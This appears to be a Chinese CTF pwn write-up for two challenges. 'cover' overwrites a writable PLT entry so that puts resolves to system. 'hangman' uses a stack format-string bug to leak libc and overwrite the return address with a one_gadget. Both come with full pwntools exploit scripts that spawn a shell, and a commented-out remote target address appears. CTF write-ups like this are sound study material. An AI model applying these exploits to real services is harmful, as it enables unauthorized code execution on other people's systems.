呃这次比赛呢感觉打的不是很好,主要还是菜,格式化字符串的题一开始思路想歪了,做成了在bss段的打法,导致后来时间都花在了调试上,最后在本地调到了差半个字节但是远程一直EOF……

cover

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main()
{
_BYTE *buf; // [esp+18h] [ebp-20h] BYREF
int n; // [esp+1Ch] [ebp-1Ch]
int v3; // [esp+20h] [ebp-18h]
int v4; // [esp+24h] [ebp-14h]
int v5; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
sub_804862B();
buf = 0;
n = 0;
v3 = 0;
v4 = 0;
v5 = 0;
printf("Try use a bullet to pwn this%s\n", (const char *)&buf);
read(0, &buf, 5u);
if ( (int)buf > (int)"ou launch the bullet, and... What's your name?%c\n" )
{
printf("%p is too big...\n", buf);
exit(0);
}
*buf = n;
printf("OK,you launch the bullet, and... What's your name?%c\n", SHIBYTE(v5));
read(0, &buf, 0xAu);
puts((const char *)&buf);
return 0;
}
1
2
3
4
-00000021                 db ? ; undefined
-00000020 buf dd ?
-0000001C n dd ?
-00000018 var_18 dd ?

思路

第一次可以输入5个字节,buf需要小于0x08048888,第五个字节溢出到n。接下来会以buf为指针赋值n,然后再输入一次buf,执行puts(&buf)

1
mprotect(&dword_8048000, 0x8888u, 7);
1
2
3
4
5
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 rwxp 1000 0 /home/ayoung/Desktop/BlueHat/xianxia/cover/pwn
0x8049000 0x804b000 rwxp 2000 0 /home/ayoung/Desktop/BlueHat/xianxia/cover/pwn
0xf7e00000 0xf7e01000 rw-p 1000 0

由于使用了mprotect,plt可写

于是可以通过修改puts的plt表,在push参数时改成0x30,就会解析出system函数的地址。配合输入/bin/sh即可

exp

1
2
3
4
5
6
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwn')
r.send(p32(0x80484d7)+'\x30')
r.send('/bin/sh\x00')
r.interactive()

hangman

位于栈上的格式化字符串
栈上的话可以方便地实现任意写,把想写的地址输到栈上,让%?$hhn指向该地址即可

题目

一共四次触发格式化字符串的机会
每次要求先输入一个字符串
然后最多六次输入字符的机会
每次输入的字符在字符串中个数累加起来记为tot
当tot和字符串长度相等时触发格式化字符串

思路

先泄露libc基址和rbp(rbp用来计算返回地址处的地址)
后分别写入一个字节修改返回地址为onegadget

细节

  1. 输入字符串的时候调好偏移使布置的地址恰好位于15偏移处
  2. 手动输入一个\x00截断字符串,避免后面奇怪的字符的干扰
  3. 由于每次需要写入的offset不一定,造成字符串长度不一定,所以需要多尝试几次,不能保证每次都打通

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwn')
#r = remote('118.190.62.234',33445)
libc = ELF('./libc-2.23.so')

r.recvuntil('Enter a word:')
r.sendline('%29$p#####%24$p')
r.recvuntil('Guess a letter:')
r.sendline('#')
r.sendline('#')
r.sendline('#')

r.recvuntil('Guess a letter:0x')
data = int(r.recv(12),16)
print hex(data)
libc_base = data-0x020840
print 'libc_base ===> ',hex(libc_base)
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base+one[0]
print hex(one_gadget)
r.recvuntil('0x')
stack = int(r.recv(12),16)+0x8
print 'stack ===> ',hex(stack)

offset1 = one_gadget&0xff
offset2 = one_gadget>>8&0xff
offset3 = one_gadget>>16&0xff

r.recvuntil('Enter a word:')
payload = '%'+str(offset1)+'c'+'%15$hhn'
payload+= 'AAAAA'
payload+= 'BBBBBBB\x00'
payload+= p64(stack)
r.sendline(payload)
r.recvuntil('Guess a letter:')
r.sendline('B')
r.sendline('B')
r.sendline('B')
r.sendline('%')

r.recvuntil('Enter a word:')
payload = '%'+str(offset2)+'c'+'%15$hhn'
payload+= 'AAAAA'
payload+= 'BBBBBBB\x00'
payload+= p64(stack+1)
r.sendline(payload)
r.recvuntil('Guess a letter:')
r.sendline('B')
r.sendline('B')
r.sendline('B')
r.sendline('%')

r.recvuntil('Enter a word:')
payload = '%'+str(offset3)+'c'+'%15$hhn'
payload+= 'AAAAA'
payload+= 'BBBBBBB\x00'
payload+= p64(stack+2)
r.sendline(payload)
r.recvuntil('Guess a letter:')
r.sendline('B')
r.sendline('B')
r.sendline('B')
r.sendline('%')

#gdb.attach(r)

r.interactive()